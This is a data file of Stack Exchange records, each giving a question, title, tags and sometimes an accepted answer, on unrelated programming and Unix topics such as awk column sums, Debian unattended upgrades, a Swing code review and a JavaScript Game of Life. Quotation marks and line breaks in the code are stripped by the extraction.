{  "id": "_codereview.70822"  , "question": "Of course the when this select is comes with less options it will be better to leave it like this, and when it comes more then this it better to make it via loop.The question is that if I should make it loop or leave it as it is ? which way is the best and why ?var htmlTemplate =     <select class='action cycle' auto='1' value='24'> +        <option value='6'>6 hours</option> +        <option value='12'>12 hours</option> +        <option value='24' selected=''>24 hours</option> +        <option value='48'>48 hours</option> +        <option value='72'>72 hours</option> +    </select>;Also, in my current project I'm making 'Add' button which creates some html dom elements.My question is if I should leave the code inside string or create it via javascript (createElement) and again, I would like to know what is the best way and why :)var htmlTemplate = class='target-unit' identify='blahblah';htmlTemplate = <div  + targetTemplate + > +                    <span class='target-place'> + targetPlace + </span> +                    <select class='action campaign'> + targetOptions + </select> +                    <label input-label='' class='target-limit'>5000</label> +                    <select class='action cycle' auto='1' value='24'> +                    <option value='6'>6 hours</option> +                    <option value='12'>12 hours</option> +                    <option value='24' selected=''>24 hours</option> +                    <option value='48'>48 hours</option> +                    <option value='72'>72 hours</option> +                    </select> +                    <button class='action small button-icon add flr no-title' identify='target-add'></button> +                </div>;"  , "title": "Best practice of HTML DOM template in javascript"  , "tags": "javascript;jquery;html"  , "accepted_answer": "Personally I would create loops for this, it's very unreadable at the moment and you are repeating yourself a lot. Remember the DRY rule (don't repeat yourself). Also if you do it via loops it's easier to maintain and change in the future."  } 
{  "id": "_unix.209990"  , "question": "I have a file in the following format:$ cat /tmp/raw2015-01   5000   10002015-02   6000   20002015-03   7000   3000Now, what I want is to get the combined value from columns 2 and 3 in each row so that results are as follows:2015-01   60002015-02   80002015-03   9000I tried this but it only shows last value in the file like 2015-03 value."  , "title": "How can I combine values from two columns?"  , "tags": "text processing"  , "accepted_answer": "You can try using awk:awk '{ print $1, $2 + $3; }' /tmp/rawResult will be (I suppose value for 2015-03 should be 10000):2015-01 60002015-02 80002015-03 10000"  } 
{  "id": "_softwareengineering.342803"  , "question": "I could not find any official recommended indentation for the following idiom (straight from http://effbot.org/zone/python-with-statement.htm):with open(path) as f:    data = f.read()    do something with dataor:with open(path) as f:    data = f.read()do something with dataIMHO, the first version is better at showing the scope, but the latter may prevent an excessive indentation. Is choosing one of those just a matter of taste? Or is there any authoritative source or established tradition to follow?As a side note, I cannot help but think that with is quite apart from the other block-constructing Python keywords. For instance, there is no question about choosing between:if condition:    do something    do something differentor:if condition:    do somethingdo something differentSince they do... well, something different."  , "title": "with open() as and indentation"  , "tags": "python;coding style;indentation"  , "accepted_answer": "I always use the second approach because it ensures that I don't hold the resource (file in your case) open longer than necessary."  } 
{  "id": "_unix.129214"  , "question": "My eight month old Acer V3-571G is overheating: temperature fluctuates between 64 degC and 75 degC with only Firefox running and the exhausts are starting show some signs of melting. As soon as I launch Eclipse or Chrome, it reaches 80 degC. The main problem is that the high temperature threshold is set to 87 degC.I installed sensors and added acpi_osi=Linux to the boot line in Grub. However, sensors-detect only detects the coretemp-isa-0000 chip, and pwmconfig does not find any PWM capable sensor modules.Currently, I'm stuck with an overheating computer on which I cannot seem to control the fans.I know that the fans work because they turn much faster under Windows, making the computer cooler (and more noisy).I want to change the high temperature threshold from 87 degC to 65 or 70 degC.Here's the output of sensors (with only Firefox running on top of KDE4 on OpenSuse):# sensorscoretemp-isa-0000Adapter: ISA adapterPhysical id 0:  +66.0C  (high = +87.0C, crit = +105.0C)Core 0:         +66.0C  (high = +87.0C, crit = +105.0C)Core 1:         +65.0C  (high = +87.0C, crit = +105.0C)pkg-temp-0-virtual-0Adapter: Virtual devicetemp1:        +66.0C  nouveau-pci-0100Adapter: PCI adaptertemp1:        +65.0C  (high = +95.0C, hyst =  +3.0C)                       (crit = +105.0C, hyst =  +5.0C)                       (emerg = +135.0C, hyst =  +5.0C)Creating /etc/sensors.d/foo with a temp entry seems to only change the reported temperature. I also tried setting the chip to an Intel PECI type (set temp1_type 6 (sensors -s is successful)) but that does not change the speed fans.I also tried editing /sys/class/hwmon/hwmon0/device/temp1_max but the file is read-only even for root.Any help or lead is appreciated! I prefer exhausting all possible resources before sending my computer back in because I need it for my day to day job, and I bought in another country than the one I'm currently in."  , "title": "Lower temperature thresholds for sensors"  , "tags": "opensuse;temperature;sensors;acer"  } 
{  "id": "_datascience.11002"  , "question": "If I understand correctly, the most_similar function computes the cosine similarity of the vector with all other vectors and finds the closest one.  The vectors then viewed from a certain origin of (0,0,0,..0) for N dimensions (for N dimensional word vectors).Is there by any means that I could compute the angle of these vectors from the origin ?. If I compute the similarity between the vector and the origin vector and take the inverse cosine, will the resultant angle be the angle of the vector on origin space.If I get such an angle, on which plane does it lie as the vector is high dimensional.The reason is that, when we try to reduce it to 2 dimensions and plot them, only magnitude of the vector is considered right, so the direction information is missing. I would like to plot it in a polar plot to view both.Is there any such function in gensim?."  , "title": "Compute angle of vector in word2vec models"  , "tags": "dimensionality reduction;word embeddings;word2vec;gensim;cosine distance"  } 
{  "id": "_softwareengineering.235171"  , "question": "I've just begun reading The Art Of Unit Testing by Roy Osherove, and while I'm mostly finding the material very helpful, he makes a statement about not using messages in your Assert statements.  Please never, ever, use this parameter.  Just make sure your test name explains what's supposed to happen.My question is, in you experience do you find this advice to be good or bad?  If you use assert messages in your unit tests, what information do you use it to capture beyond what a well named unit test could give you in the first place?"  , "title": "Assert Message in Unit Tests"  , "tags": "unit testing;language agnostic;assertions"  , "accepted_answer": "This sort of advice makes two key assumptions:You're going to be spending more time looking at some pass/fail summary of all your tests than the assert output.Your tests are only testing a single thing.Now #1 is pretty much guaranteed to be true. #2 is less often going to be true, even if it's good advice. The spirit of the advice is: you should be able to tell at a glance why your unit tests did not pass.The book's advice combines with these two assumptions to achieve the spirit of the advice. In my experience, this spirit is really what is key to follow. Once you have a good test name, and your test only tests one thing (even if you use multiple asserts to do it) - everything else is gravy.At that point, if you find it useful to use messages to differentiate asserts, go nuts. If you find it more useful to save time typing assert messages that nobody looks at, go nuts. The important thing is that you can tell at a glance what failed your tests."  } 
{  "id": "_unix.344089"  , "question": "I enable the following line in the file /etc/apt/apt.conf.d/50unattended-upgrades according to the standard Debian wikio=Debian,n=jessie,l=Debian-Security;to get security updates automatically.Now I noticed that the line origin=Debian,codename=${distro_codename},label=Debian-Security;is enabled by default. What is this for? I'm worried because this comes right after the lines with stable code-name, which might get my Jessie to upgrade to Stretch in the background. So what does this line do?"  , "title": "Unattended upgrades config has a line enabled by default. What is it for?"  , "tags": "debian;apt;unattended upgrades"  , "accepted_answer": "That line enables unattended security updates for the currently installed release. As indicated in the comment at the start of the file,// Within lines unattended-upgrades allows 2 macros whose values are// derived from /etc/debian_version://   ${distro_id}            Installed origin.//   ${distro_codename}      Installed codename (eg, jessie)So the line you added is redundant. The codename won't be interpreted as stable, so you won't upgrade to Stretch automatically."  } 
{  "id": "_unix.104440"  , "question": "I have a command that I use from the CLI to properly color files, folders, executables, etc. The command that I'm executing looks like this:test -r ~/.dircolors && eval $(dircolors -b ~/.dircolors) || eval $(dircolors -b)I'd like to run this command from inside a script, but it does not work:#!/usr/bin/env bashtest -r ~/.dircolors && eval $(dircolors -b ~/.dircolors) || eval $(dircolors -b)How can I excute this command inside a script? I can't figure out why this command doesn't work from within a script?running /bin/bash -x myscript.sh produces the following output:$ /bin/bash -x myscript.sh+ test -r /home/turtle/.dircolors+ dircolors -b /home/turtle/.dircolorsLS_COLORS='no=00;38;5;244:rs=0:di=00;38;5;33:ln=01;38;5;37:mh=00:pi=48;5;230;38;5;136;01:so=48;5;230;38;5;136;01:do=48;5;230;38;5;136;01:bd=48;5;230;38;5;244;01:cd=48;5;230;38;5;244;01:or=48;5;235;38;5;160:su=48;5;160;38;5;230:sg=48;5;136;38;5;230:ca=30;41:tw=48;5;64;38;5;230:ow=48;5;235;38;5;33:st=48;5;33;38;5;230:ex=01;38;5;64:*.tar=00;38;5;61:*.tgz=01;38;5;61:*.arj=01;38;5;61:*.taz=01;38;5;61:*.lzh=01;38;5;61:*.lzma=01;38;5;61:*.tlz=01;38;5;61:*.txz=01;38;5;61:*.zip=01;38;5;61:*.z=01;38;5;61:*.Z=01;38;5;61:*.dz=01;38;5;61:*.gz=01;38;5;61:*.lz=01;38;5;61:*.xz=01;38;5;61:*.bz2=01;38;5;61:*.bz=01;38;5;61:*.tbz=01;38;5;61:*.tbz2=01;38;5;61:*.tz=01;38;5;61:*.deb=01;38;5;61:*.rpm=01;38;5;61:*.jar=01;38;5;61:*.rar=01;38;5;61:*.ace=01;38;5;61:*.zoo=01;38;5;61:*.cpio=01;38;5;61:*.7z=01;38;5;61:*.rz=01;38;5;61:*.apk=01;38;5;61:*.gem=01;38;5;61:*.jpg=00;38;5;136:*.JPG=00;38;5;136:*.jpeg=00;38;5;136:*.gif=00;38;5;136:*.bmp=00;38;5;136:*.pbm=00;38;5;136:*.pgm=00;38;5;136:*.ppm=00;38;5;136:*.tga=00;38;5;136:*.xbm=00;38;5;136:*.xpm=00;38;5;136:*.tif=00;38;5;136:*.tiff=00;38;5;136:*.png=00;38;5;136:*.svg=00;38;5;136:*.svgz=00;38;5;136:*.mng=00;38;5;136:*.pcx=00;38;5;136:*.dl=00;38;5;136:*.xcf=00;38;5;136:*.xwd=00;38;5;136:*.yuv=00;38;5;136:*.cgm=00;38;5;136:*.emf=00;38;5;136:*.eps=00;38;5;136:*.CR2=00;38;5;136:*.ico=00;38;5;136:*.tex=01;38;5;245:*.rdf=01;38;5;245:*.owl=01;38;5;245:*.n3=01;38;5;245:*.ttl=01;38;5;245:*.nt=01;38;5;245:*.torrent=01;38;5;245:*.xml=01;38;5;245:*Makefile=01;38;5;245:*Rakefile=01;38;5;245:*build.xml=01;38;5;245:*rc=01;38;5;245:*1=01;38;5;245:*.nfo=01;38;5;245:*README=01;38;5;245:*README.txt=01;38;5;245:*readme.txt=01;38;5;245:*.md=01;38;5;245:*README.markdown=01;38;5;245:*.ini=01;38;5;245:*.yml=01;38;5;245:*.cfg=01;38;5;245:*.conf=01;38;5;245:*.c=01;38;5;245:*.cpp=01;38;5;245:*.cc=01;38;5;245:*.log=00;38;5;240:*.bak=00;38;5;240:*.aux=00;38;5;240:*.lof=00;38;5;240:*.lol=00;38;5;240:*.lot=00;38;5;240:*.out=00;38;5;240:*.toc=00;38;5;240:*.bbl=00;38;5;240:*.blg=00;38;5;240:*~=00;38;5;240:*#=00;38;5;240:*.part=00;38;5;240:*.incomplete=00;38;5;240:*.swp=00;38;5;240:*.tmp=00;38;5;240:*.temp=00;38;5;240:*.o=00;38;5;240:*.pyc=00;38;5;240:*.class=00;38;5;240:*.cache=00;38;5;240:*.aac=00;38;5;166:*.au=00;38;5;166:*.flac=00;38;5;166:*.mid=00;38;5;166:*.midi=00;38;5;166:*.mka=00;38;5;166:*.mp3=00;38;5;166:*.mpc=00;38;5;166:*.ogg=00;38;5;166:*.ra=00;38;5;166:*.wav=00;38;5;166:*.m4a=00;38;5;166:*.axa=00;38;5;166:*.oga=00;38;5;166:*.spx=00;38;5;166:*.xspf=00;38;5;166:*.mov=01;38;5;166:*.mpg=01;38;5;166:*.mpeg=01;38;5;166:*.m2v=01;38;5;166:*.mkv=01;38;5;166:*.ogm=01;38;5;166:*.mp4=01;38;5;166:*.m4v=01;38;5;166:*.mp4v=01;38;5;166:*.vob=01;38;5;166:*.qt=01;38;5;166:*.nuv=01;38;5;166:*.wmv=01;38;5;166:*.asf=01;38;5;166:*.rm=01;38;5;166:*.rmvb=01;38;5;166:*.flc=01;38;5;166:*.avi=01;38;5;166:*.fli=01;38;5;166:*.flv=01;38;5;166:*.gl=01;38;5;166:*.m2ts=01;38;5;166:*.divx=01;38;5;166:*.webm=01;38;5;166:*.axv=01;38;5;166:*.anx=01;38;5;166:*.ogv=01;38;5;166:*.ogx=01;38;5;166:';export LS_COLORS"  , "title": "Command working from CLI but not from script"  , "tags": "bash;scripting;colors"  , "accepted_answer": "First you create the script containing your command and with /bin/bash as the interpreter; as follows :#!/bin/bashtest -r ~/.dircolors && eval $(dircolors -b ~/.dircolors) || eval $(dircolors -b)If you named your script for example setDirColors and you make it executable, you should execute it as follows :. ./setDirColorsNote the leading dot. It is not a typo. Calling your script without the leading dot will not work. Why is that so ? Your script set a value to LS_COLORS environment variable and export it ... to subprocesses of the script ! not to its parent !  To solve this classic pitfall, we use the leading dot which is a bash command to execute a script in current process. So the script can modify your current LS_COLORS environment variable."  } 
{  "id": "_cs.50129"  , "question": "I saw here: http://www.cs.cmu.edu/~ninamf/ML11/lect0906.pdfIntuitively, if n is large but most features are irrelevant (i.e. target is sparse but examples are dense), then Winnow is better because adding irrelevant features increases L2(X) but not L(X). On the other hand, if the target is dense and examples are sparse, then Perceptron is better.Why adding irrelevant features increases L2(X) but not L(X)?"  , "title": "Winnow versus Perceptron - Why adding irrelevant features increases L2(X) but not L(X)?"  , "tags": "machine learning;online algorithms;perceptron"  } 
{  "id": "_softwareengineering.223415"  , "question": "If I'm giving an interview coding question in Java, I can specify the most of the question just by giving a method signature.  (Made-up example follows.)public class Table {  public String identifier;  public int seatCount;}public static List<String> tablesWithEnoughSeats(List<Table> tables, int minSeats)If the candidate prefers Python, how do I present the problem for them?  The Python method signature doesn't specify the data type.  Is there some standard Python way of doing this?If I look at Python coding challenges online, they tend to specify the requirements as taking certain input to produce certain output.  I don't want the candidate to waste their time writing code to parse an input file.  (My example has just String and int, but the actual interview problem might contain more complex data.)  What's the best way to express the parameter constraints so that the candidate can implement the algorithm I'm interested in without doing a bunch of plumbing?"  , "title": "How to create a Python method prototype"  , "tags": "python;prototyping"  , "accepted_answer": "Mock your inputs. Say Assume that this array consists of integers or floats or whatever. You can also annotate things with comments.I'd write this in Python like so:class Table: #identifier: string, seat_count: int    def __init__(self, identifier, seat_count):        self.identifier = identifier        self.seat_count = seat_countI'm prone to writing Python functionally so I'd instantiate a list of tables then call a function that checked each table to see if had enough seats or not. I'd probably use a filter to that. Could also do a list comprehension. The latter is more Pythonic.        "  } 
{  "id": "_codereview.157156"  , "question": "I wrote this piece of code for a GUI i am making, which is a playlist interface. I was wondering if I could write all of this code out differently, but to the point where it functions exactly the same, as I am intrigued in learning different ways to write java to boost my flexibility and knowledge in the language. package java;import java.awt.*;import java.awt.event.*;import javax.swing.*;import static coursework.VideoData.setRating;public class UpdateVideos extends JFrame implements ActionListener {    JTextField trackNo = new JTextField(2);    JTextField newrate = new JTextField(2);    TextArea content = new TextArea(6, 50);    JButton apply = new JButton(Apply);    public UpdateVideos() {        setLayout(new BorderLayout());        setBounds(100, 100, 400, 200);        setTitle(Check Videos);        setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);        JPanel top = new JPanel();        top.add(new JLabel(Enter Video Number:));        top.add(trackNo);               top.add(new JLabel(Enter Rating:));              top.add(newrate);        top.add(apply);        apply.addActionListener(this);        add(North, top);        JPanel middle = new JPanel();        middle.add(content);        add(Center, middle);        setResizable(false);        setVisible(true);    }    public void actionPerformed(ActionEvent e) {        String key = trackNo.getText();        String name = VideoData.getName(key);        Integer ratingnum;        String newratenum;        newratenum = newrate.getText();        ratingnum = Integer.parseInt(newratenum);        if (e.getSource() == apply) {            if (name == null) {                content.setText(No such video number);            } else {                setRating(key,ratingnum);                content.setText(name +  -  + VideoData.getDirector(key));                content.append(\\nRating:  + stars(VideoData.getRating(key)));                content.append(\\nPlay count:  + VideoData.getPlayCount(key));            }        }    }    private String stars(int rating) {        String stars = ;        for (int i = 0; i < rating; ++i) {        stars += *;        }        return stars;    }}"  , "title": "Video playlist interface in Swing"  , "tags": "java;swing"  , "accepted_answer": "At the danger of repeating myself (not to you, but generally regarding swing code):Don't learn swing. Swing has been EOL'd for over a year now and has been officially superseded by JavaFX. If you want to learn GUI programming for thick clients in java: Go with JavaFXSomebody has to have a tutorial that does this wrong ... UpdateVideos extends JFrame implements ActionListener is one of those lines that should make you shudder. It's a generally accepted wisdom that to write SOLID code, one should use Composition over Inheritance. This means that instead of saying UpdateVideos is a JFrame you should say: UpdateVideos has a JFrame.This is one of the things that every swing program seems to have and I find it terrifying: setVisible(true); in the constructor... This is a violation of two things. First: The principle of single responsibility (SRP), the S in SOLID. A constructor is responsible for getting the object it initializes into a usable, valid state. This does explicitly not entail making the JFrame inside the object (or the JFrame object itself) visible. Second: The principle of least surprise. Let's say you go to a coffee shop and order a coffee... would you expect the the coffee you get to pour itself down your throat? Sure you'll want to drink it sooner or later, but on your own terms. It's not the coffee's (or the JFrame's) responsibility to make sure that you drink (or show) it, but yours. After getting this out of the way, let's talk about your code: Aside from the two coding issues I already mentioned above your code is pretty clean. The only thing that really bothers me is how many magic numbers you use. There is a minor optimization in stars. Consider the following code:private String stars(int rating) {    final char[] stars = new char[rating];    Arrays.fill(stars, '*');    return new String(stars);}This avoids the overhead of concatenating Strings and instead uses a char[] to basically build the string without an explicit for-loop. This is just a marginal benefit though and you might want to keep your method structure, but use a StringBuilder instead to increase performance."  } 
{  "id": "_softwareengineering.316206"  , "question": "Is there a way to make Java interfaces only implementable by classes of a special type?So for instance, I have a class Foo and an interface Bar. Only subclasses of Foo should be able to implement Bar. Is this possible?(This would be useful if subclasses of Foo are the only classes that need to implement Bar. Other classes that don't really need to implement it simply can't.)Before you ask, I can't edit Foo to add the methods there, it's binary."  , "title": "How to make interfaces usable for special classes only?"  , "tags": "java;interfaces"  } 
{  "id": "_codereview.68691"  , "question": "It only does expressions with 2 operands yet, but I'm wondering if there are any ways I can improve this:# infix.rb: parse infix-operated math expressionsclass String  def is_number?    true if Float(self) rescue false  endendclass InfixParser  @operations = [ '/', '*', '+', '-' ]  testString = '(24 + 6) / 10 * 3'  shouldEqual = 9  def parseExpression(expr) #TODO: implement parsing of entire expressions  end  def self.parseChunk(chunk)    chunk = chunk.gsub ' ', ''    if not (chunk.include?('/') or chunk.include?('*') \\        or chunk.include?('+') or chunk.include?('-'))        puts error: no operations in chunk: #{chunk}        exit    end    firstNumber = ''    secondNumber = ''    i = 0    currentChar = ''    while not @operations.include? currentChar      currentChar = chunk[i]      if not currentChar.is_number? and not @operations.include? currentChar \\         and currentChar != '.'        puts error: non-numerical digit in chunk: #{currentChar}        exit      end      firstNumber += currentChar      i += 1    end    firstNumber = firstNumber[0 .. -2]    for c in i-1 .. chunk.length-1      if not chunk[c].is_number? and not @operations.include? currentChar \\         and currentChar != '.'        puts error: non-numerical digit in chunk: #{currentChar}        exit      end      secondNumber += chunk[c]    end    secondNumber = secondNumber[1 .. secondNumber.length - 1]    if chunk[i - 1] == '/'      return Float(firstNumber) / Float(secondNumber)    elsif chunk[i - 1] == '*'      return Float(firstNumber) * Float(secondNumber)    elsif chunk[i - 1] == '+'      return Float(firstNumber) + Float(secondNumber)    elsif chunk[i - 1] == '-'      return Float(firstNumber) - Float(secondNumber)    else      puts error: invalid operator in chunk: #{chunk}    end  endend"  , "title": "Ruby infixed math parser"  , "tags": "ruby;parsing;math expression eval"  , "accepted_answer": "You've indicated that you prefer not to use regular expressions.  In that case, you're still working too hard.  In that case, you should look for a library function that does the job, such as the standard scanf library.require 'scanf'def eval_binary_expr(expr)  l_operand, op, r_operand = expr.scanf('%f %c %f')  if l_operand.nil?    raise ArgumentError, Missing or invalid left operand  end  begin    case op      when '/' then l_operand / r_operand      when '*' then l_operand * r_operand      when '+' then l_operand + r_operand      when '-' then l_operand - r_operand      else raise ArgumentError, Missing or invalid operator    end  rescue TypeError    raise ArgumentError, Missing or invalid right operand  endendThis implementation is better than the original, in that it can handle negative operands and explicitly positive operands.  It also examines the string from left to right, which makes it easier to understand its behaviour."  } 
{  "id": "_softwareengineering.95520"  , "question": "We have Python middle-tier for our Web App . Now we need to render 3 different HTMLs...for older browsers (simple read-only interface)for HTML5 browsers (LOT more complex than older browsers)for mobile website (simple XHTML-MP)Now, we need to keep the Python middle-tier completely independent of any HTML -- just pure business logic.So, we think we should use a PHP layer on top of Python to generate these HTMLs. PHP would talk to Python via SOA.First -- is this a good idea? And if not, can you suggest a better design?Second, if this is a feasible design -- do you think PHP+Python is good (maintainable) mix. If not, how about replacing the PHP layer by yet another Python layer.Just remember that our middle-tier needs to be COMPLETELY isolated from any HTML thingy :)-- UPDATE --The reason we're inclined to using PHP is...PHP itself is just a template engine embedded into HTML -- and it is SO easy to generate complex HTML with it. On the other hand, Python is more of a general purpose language and generating HTML with it will require us to use a third party library which will entail maintenance/upgrade/security hassles. Generating HTML is a sort of raison d'tre for PHP.Secondly, Python support for Nginx is NOT as good as PHP."  , "title": "is Python PHP polyglot a good design?"  , "tags": "php;python"  } 
{  "id": "_unix.1566"  , "question": "I can't figure out how to get pseudostreaming on my Apache server (CENTOS 5.5 i686). I've read this article and these install instructions.I cannot install httpd-devel or mod_ssl via yum; I get the error package not found.  One person mentioned that they think WHM/CPanel breaks yum.I have found some RPM packages:rpm.pbone.net/index.php3/stat/4/idpl/13945478/dir/centos_5/com/mod_ssl-2.2.3-43.el5.centos.x86_64.rpm.html rpm.pbone.net/index.php3/stat/4/idpl/13944425/dir/centos_5/com/httpd-devel-2.2.3-43.el5.centos.x86_64.rpm.html But as I am not a unix admin, I am unsure of where to go from here.  Can someone point me in the right direction? (Please remember that I am very junior in linux administration.)"  , "title": "How to Update Apache to allow Pseudostreaming on CENTOS 5.5 & WHM"  , "tags": "centos;apache httpd"  } 
{  "id": "_codereview.112541"  , "question": "It took some time to make Conway's Game of Life in HTML, CSS, JavaScript and jQuery. I'd like suggestions, criticisms, and discussions on how it can be done better.JSFiddle link/* * Conway's - Game of Life. * Any live cell with fewer than two live neighbours dies, as if caused by under-population. * Any live cell with two or three live neighbours lives on to the next generation. * Any live cell with more than three live neighbours dies, as if by over-population. * Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction. */'use strict';/* * Representation of each cell on the canvas. * row and col stores the location of the cell. * The alive property stores whether the cell is alive or dead. */function Cell(row, col) {  var _this = this,    $this = null,    alive = false;  this.activate = function () {    alive = true;    $this.addClass('alive');  };  this.deActivate = function () {    alive = false;    $this.removeClass('alive');  };  this.isAlive = function () {    return alive;  };  this.getRow = function () {    return row;  };  this.getCol = function () {    return col;  };  this.getJqueryElement = function () {    return $this;  };  // If $this is not yet defined, create a new HTML element.  if (null === $this) {    $this = $('<div>').addClass('conway-cell').data('cell', _this);  }  return this;}/** * The main logic of the game goes here. */function ConwayGame(selector, numRows, numCols) {  var $parent = $(selector),    _this = this,    rows = numRows,    cols = numCols,    cells = [],    lifeMap = [],    intervalTime = 500,    intervalId;  this.getSpeed = function () {    return intervalTime;  };  // Initialize the list of cells required. Add the same to the HTML parent element.  var initialize = function () {    for (var i = 0; i < rows; i++) {      cells[i] = [];      var $row = $('<div>').addClass('conway-row');      for (var j = 0; j < cols; j++) {        var cell = cells[i][j] = new Cell(i, j);        var $cell = cell.getJqueryElement();        // Add click handler for the Cell.        $cell.on('click', function (event) {          var cellObj = $(this).data('cell');          if (cellObj.isAlive()) {            cellObj.deActivate()          } else {            cellObj.activate();          }          _this.reMap();        });        $row.append($cell);      }      // Add the HTML Row to the Parent element.      $parent.append($row);    }  };  // Re-draw the Elements based on their status, if they are alive or not.  this.reDraw = function () {    for (var i = 0; i < rows; i++) {      for (var j = 0; j < cols; j++) {        var cell = cells[i][j];        cell.isAlive() ? cell.activate() : cell.deActivate();      }    }  };  // Get the count of immediate neighbors for the cell.  this.getNeighborsCount = function (cell) {    var neighbors = 0,      row = cell.getRow(),      col = cell.getCol();    // Top Left to Top Right    if (cells[row - 1]) {      if (cells[row - 1][col - 1] && cells[row - 1][col - 1].isAlive()) neighbors++;      if (cells[row - 1][col] && cells[row - 1][col].isAlive()) neighbors++;      if (cells[row - 1][col + 1] && cells[row - 1][col + 1].isAlive()) neighbors++;    }    // Middle Left to Middle Right. Ignore the current cell.    if (cells[row][col - 1] && cells[row][col - 1].isAlive()) neighbors++;    if (cells[row][col + 1] && cells[row][col + 1].isAlive()) neighbors++;    // Bottom Left to Bottom Right.    if (cells[row + 1]) {      if (cells[row + 1][col - 1] && cells[row + 1][col - 1].isAlive()) neighbors++;      if (cells[row + 1][col] && cells[row + 1][col].isAlive()) neighbors++;      if (cells[row + 1][col + 1] && cells[row + 1][col + 1].isAlive()) neighbors++;    }    return neighbors;  };  this.reMap = function () {    for (var i = 0; i < rows; i++) {      lifeMap[i] = [];      for (var j = 0; j < cols; j++) {        var cell = cells[i][j];        lifeMap[i][j] = _this.getNeighborsCount(cell);      }    }  };  this.getNextLife = function () {    for (var i = 0; i < rows; i++) {      for (var j = 0; j < cols; j++) {        var cell = cells[i][j];        var lifeValue = lifeMap[i][j];        if (cell.isAlive()) {          if (lifeValue < 2 || lifeValue > 3) {            cell.deActivate();          }        } else {          if (lifeValue === 3) {            cell.activate();          }        }      }    }    _this.reMap();  };  this.next = function () {    _this.getNextLife();    _this.reDraw();  };  this.play = function () {    intervalId = setInterval(_this.next, intervalTime);  };  this.pause = function () {    clearInterval(intervalId);  };  this.increaseSpeed = function () {    if (intervalTime > 100) {      intervalTime -= 100;    }    _this.pause();    _this.play();  };  this.decreaseSpeed = function () {    if (intervalTime < 2000) {      intervalTime += 100;    }    _this.pause();    _this.play();  };  if (cells.length === 0) {    initialize();  }  return this;}// Run as soon as the Document is Ready.$(function () {  var game = new ConwayGame('.conway-game', 20, 20);  $('#nextButton').on('click', function () {    game.next();  });  $('#playButton').on('click', function () {    game.play();  });  $('#pauseButton').on('click', function () {    game.pause();  });  $('#speedUpButton').on('click', function () {    game.increaseSpeed();  });  $('#slowDownButton').on('click', function () {    game.decreaseSpeed();  });});.conway-game {  display: table;}.conway-row {  display: table-row;}.conway-cell {  display: table-column;  float: left;  width: 12px;  height: 12px;  border: 1px solid #CCE8AF;}.alive {  background-color: #7FC539;}.controls {  margin-top: 10px;}.controls button {  float: left;}<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js></script><div class=conway-game></div><div class=controls>  <button id=playButton>Play</button>  <button id=pauseButton>Pause</button>  <button id=nextButton>Step</button>  <button id=speedUpButton>Speed Up</button>  <button id=slowDownButton>Slow Down</button></div>"  , "title": "JavaScript implementation of Conway's Game of Life"  , "tags": "javascript;jquery;game of life"  , "accepted_answer": "I cloned your code and created a website using the GitHub repo that I created with it so you can see some of the other changes that I make to the code as well. please feel free to fork it.In the initialize function of your ConwayGame class you used the length if then statement if (cellObj.isAlive()) {  cellObj.deActivate()} else {  cellObj.activate();}But then in the this.reDraw function you use a ternary statement for the same call, so I changed that right away.  I know that these are reversed, but the ternary will operate in a similar fashion.  It looks like thiscellObj.isAlive() ? cellObj.deActivate() : cellObj.activate();I also removed some of the comments because they were redundant when I looked at the line(s) of code that they were referring to.I also lightly touched the getNeightborscount function and changed it slightly, I pulled out rowAbove and rowBelow so that I could dry it up a little bit, but I was only able to pull these out so far, this is what it looks like currentlythis.getNeighborsCount = function (cell) {    var neighbors = 0,    row = cell.getRow(),    col = cell.getCol();    var rowAbove = cells[row - 1];    var rowBelow = cells[row + 1];    //if (cells[row - 1]) {    if (rowAbove) {        if (rowAbove[col - 1] && rowAbove[col - 1].isAlive()) neighbors++;        if (rowAbove[col] && rowAbove[col].isAlive()) neighbors++;        if (rowAbove[col + 1] && rowAbove[col + 1].isAlive()) neighbors++;    }    if (cells[row][col - 1] && cells[row][col - 1].isAlive()) neighbors++;    if (cells[row][col + 1] && cells[row][col + 1].isAlive()) neighbors++;    //if (cells[row + 1]) {    if (rowBelow) {        if (rowBelow[col - 1] && rowBelow[col - 1].isAlive()) neighbors++;        if (rowBelow[col] && rowBelow[col].isAlive()) neighbors++;        if (rowBelow[col + 1] && rowBelow[col + 1].isAlive()) neighbors++;    }    return neighbors;};Let's move on to the this.getNextLife function.if (cell.isAlive()) {  if (lifeValue < 2 || lifeValue > 3) {      cell.deActivate();      cellsDestroyed++;  }} else {  if (lifeValue === 3) {      cell.activate();      cellsCreated++;  }}this looks a little clunky to me, at the very least that else statement should be an else if statement like thisif (cell.isAlive()) {    if (lifeValue < 2 || lifeValue > 3) {        cell.deActivate();        cellsDestroyed++;    }} else if (lifeValue === 3) {    cell.activate();    cellsCreated++;}I liked the way that you created classes and objects to handle the different functions of the Game itself so you could just call them on a click event.Edit:I found a bug in your code, you were counting surviving cells as newly created cells inside the getNextLife function.  Here is how I fixed that.if (cell.isAlive()) {    if (lifeValue < 2 || lifeValue > 3) {        cell.deActivate();        cellsDestroyed++;    } else if (lifeValue === 3) {        cell.activate();    }} else if (lifeValue === 3){        cell.activate();        cellsCreated++;    }}And really I don't think that you need to actually activate that cell or do anything to it if it is active and has  lifeValue === 3so we could just write it like this insteadif (cell.isAlive() && (lifeValue < 2 || lifeValue > 3) {    cell.deActivate();    cellsDestroyed++;} else if (lifeValue === 3){    cell.activate();    cellsCreated++;}All these updates are in the code @GitHub as well."  } 
